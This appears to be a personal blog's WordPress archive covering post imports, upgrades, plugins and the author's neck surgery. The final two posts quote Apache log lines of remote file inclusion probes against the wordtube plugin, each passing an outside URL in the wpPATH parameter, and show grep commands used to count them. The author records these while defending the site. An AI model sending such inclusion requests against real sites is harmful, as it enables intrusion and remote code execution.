Category Archives: WordPress

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Blogger import

2008.06.20 – 9:36 pm PDT

So today I’ve just been trying to work on importing my blogs from Blogger to here. What a task. It’s a pain to spell check, browse over, then categorize each and every single entry into work comp, pain journal, or other, and there is no shortage of entries. Then try to figure out tagging of each post, if it requires any. I’m not having much luck and have had to restart a few times. Good thing I made a nice clean backup before playing around. Which I will have to create a new one after this post, seeing as it will be lost if I have to restore again.

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wordpress 2.5 release candidate

2008.03.18 – 1:54 am PDT

A couple hours ago the first release candidate for WordPress 2.5 was released and I felt the urge to test it out on here and write a quick post about it. I like the new color scheme in the dashboard.  Also the ability to add media to a post is quite cool.  Now it’s possible even easier, to link to most media types with a URL. (flickr, youtube, mp3)  Neat stuff!  Sadly attempting to link to a YouTube clip failed for me along with linking to an image URL.  Time to feed the testers mailing list, because the WYSIWYG editor is broken as well when attempting to create hyperlinks and couple other things.  Good thing it’s not difficult to create hyperlinks manually.  :)

2008.03.18 ^ wordpress 2.5_rc1 dashboard Screenshot

update: youtube link worked now after the post has been edited. hmm

super fast driving time

it’d be nice if the *tube/flv automagically embeded with a player.

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OpenID + Wordpress = <3

2008.02.16 – 4:52 pm PST

The pun is a little late for Valentine’s day, but I just noticed and installed it today. There is a working OpenID plugin for Wordpress. My previous method for using with Wordpress failed and stopped working several months ago, I forget when, I even left the plugin sitting there broken and activated until I just now removed it. How bad is that? haha, but anyways. You should also drop any old OpenID related tables from your database before enabling the new plugin. Enjoy the OpenID + Wordpress = <3 and always remember to back your database often.

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transitional title of importance

2008.02.01 – 12:37 am PST

Today I decided that I would import my LiveJournal posts. This process started off with manually exporting each month which contained a post. Taking breaks every 30-40 minutes this took me about 3 hours. The next part of my monumental task of importing took the longest thus far. A reason it took so long though was due to the pinging process happening for each post after it was imported. Once realized and turned off after completing about half of the data set, it only took me another 45 minutes importing each month. Holy crap is it a manual task to get information out of LiveJournal and into something else like Wordpress.

I imported roughly 700+ posts, and now have begun the task of categorization, tagging, spell checking, and filtering. Even if I attempt to break up the task into about 100 posts/day, I expect this to take the longest as there isn’t any quality plugins for mass post property editing in Wordpress. I don’t think it imported any of the comments, which is unfortunate, but fine as I rarely ever received comments.

It’s interesting reading and going over stuff that happened to me so many years ago. The earliest bit of information I now have is from July 2002.

Here is my tip to give to the community.  One key thing to remember is the more plugins you have activated in your Wordpress installation the slower it will function.  Before attempting such a task yourself, disable all unnecessary plugins you have.  This will save a tremendous amount of load time off each page/edit/task you attempt.

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Terrific Tuesday, take 4 3/4

2007.12.11 – 9:35 pm PST

This is now the 6th time I’ve attempted writing this post over the last 2 hours not including breaks. I was fighting some bad behavior, a funky Wordpress plugin which had become outdated and needed to be updated.

I had the first post-op visit with my this afternoon. After waiting in the waiting room, and then a briefly some x-rays of my neck were taken, then more waiting. The surgeon, Dr Jon White, came in and took the tape off the wound, and said it looked great, and proceeded to show me the x-rays on his laptop. Very neat. He discussed the hardware that now occupies my neck, and said that I will begin physical therapy soon. I hope soon is the operative word here. Ahh progress is still progress, which is nice. I ask him if I could drive and how much I should move my neck, and was then on my way back home.

A week without shaving left me with a full beard. Shaving with a new thing on my neck was a task to get used to. The wound just feels funny to me, so I avoided it while shaving in the shower with out a fog free mirror.

Outside of my neck feeling a bit stiff, and the low back I’m feeling great.

PS.  I got the new Futurama Movie today in my Netflix if anyone is interested in seeing it on my big screen.

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Yet another reason to visit California

2007.09.24 – 5:28 pm PDT

Current Mood:Important emoticon Important & Sad emoticon Sad

Well I just got the utilization-review back and they only approved surgery for one level in my neck, not the two that was suggested by the 2 independent surgeons I had seen.

I have an appointment with my this Weds at 4:15pm so that means another lovely fast paced 1200+ mile drive to California and back in two days time. *sigh*

I really need to live in California again, this is ridiculous.

My birthday is Sunday the 30th, happy birthday to me.

And on another note, my blog is broken (behind the scenes) thanks to my attempts at messing around with SQL last night, hopefully I will remember to try and fix the issue once Wordpress 2.3 is out.

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blog upgrade

2007.09.15 – 8:51 pm PDT

I upgraded my blog to Wordpress 2.3 beta3 today. Then upgraded to the latest Ultimate Tag Warrior. The upgrades went smooth and although I later chose to import the Ultimate Tag Warrior tags into the ‘new’ Wordpress system, it allowed me to go back simply by re-enabling UTW. Phew. The new system doesn’t yet have the same functionality out of the box, which made me a bit sad. In the near future I hope to see more plugins which take advantage of the Wordpress tag system so I can retire UTW. There needs to be support for bbcode [ tag | tags ] , [/ tag | tags ], which I’ve used in all my posts for the last year or so.

update: Christine from the Internet has a couple plugins to alleviate my pains.

Embedded Tag Thing and Tag Suggest Thing

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I’m writing this post with my DS Lite.

2007.06.24 – 8:07 am PDT

As the title implies, this post is being written using a Nintendo DS Lite and the touch screen mini-keyboard. I personally think it’s better than thumbing out words in T9.
So far I really am impressed with what the browser is capable of. It worked perfectly with pwdhash.com, only lacking a cut and paste buffer. I reccomend turning off the sounds or the clicky click will drive you nuts while writing anything longer than a few words.

The start page is rather neat also, the “start links” feature is handy for links to your XBMC remote, or DS Portal.

The first thing I changed when I got into the preferences was to make Google the search provider instead of Yahoo!. Next I made a couple bookmarks for useful purposes, like an XBMC remote control, a DS Lite Portal, and my blog.

One more thing about a thought I’ve been having… The mobile internet as I see it now, acts, behaves, and mimics the ‘net of the late 90’s.

PS. I want a wireless keyboard now for my Nintendo DS Lite.
PPS. The Wordpress interface could be bit more friendly to this quaint device, perhaps an admin theme or Wordpress Plugin?
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blog changes

2007.06.13 – 11:12 pm PDT

Current Mood:Cool emoticon Cool & Happy emoticon Happy

I changed a few things about my blog/websites today.

Noticeably I changed my Wordpress theme, from the great plaintxtBlog to The Sandbox, for a cleaner, more plain look.  Also I might try my hand at some CSS because it’s supposed to be very easy to modify.  Over the next few days I will figure out how I would like my widgets to be placed, which doesn’t matter much for readers of my feed.  For now let’s just consider them to be out of order.

I added some good stuff from Project Honey Pot. Sshhh.

A search on wp-plugins.net yielded a Wordpress Plugin, http:BL Lite, which took only a few moments to download and configure.  It also uses my http:BL access key from Project Honey Pot and even creates hidden links to my Honey Pot.

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wordtube deleted.

2007.05.16 – 4:38 pm PDT

Current Mood:Important emoticon Important

OK, over the past week+ after updating this plugin, my site’s theme has magically changed to the Wordpress default Kubrick theme on a few occasions. I’ve decided to give wordtube the axe, I don’t need the hassle of an easily attacked plugin. Below is a quick set of statistics from May 10th, to today May 16th. Most of them were happily blocked with HTTP 403 by one of my other plugins, and .htaccess.

grep "/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=" /var/log/apache2/blog.px.ns1.net_*log|wc -l
567
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |wc -l
577
grep libwww-perl /var/log/apache2/blog.px.ns1.net_*log|wc -l
588
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |grep -v 403|wc -l
11  # 6 of these were my own accesses.

Now I just need to checkout my system for any tertiary issues. *sigh*

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wordtube?

2007.05.06 – 7:03 pm PDT

Current Mood:Confused emoticon Confused

I saw something interesting in my apache log.

blog.px.ns1.net 72.36.146.234 server.webbyte.com - - [06/May/2007:18:51:22 -0700] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pikspiller.dk/stats/format/status.txt? HTTP/1.1" 200 962 "-" "libwww-perl/5.805" mod_deflate: In:- Out:-:-pct.

the file status.txt isn’t malicious, just an echo.

&lt; ? echo "1122548"; ?&gt;


UPDATE
it happened again. with a different host/file this time. Time to toss this plugin??

blog.px.ns1.net 85.119.156.52 power-network.org - - [07/May/2007:23:34:28 -0700] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 922 "-" "libwww-perl/5.803" mod_deflate: In:- Out:-:-pct.

UPDATE2
yeah, there just found an advisory to update to a newer version.

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Bad Behavior has blocked 2062 access attempts in the last 7 days.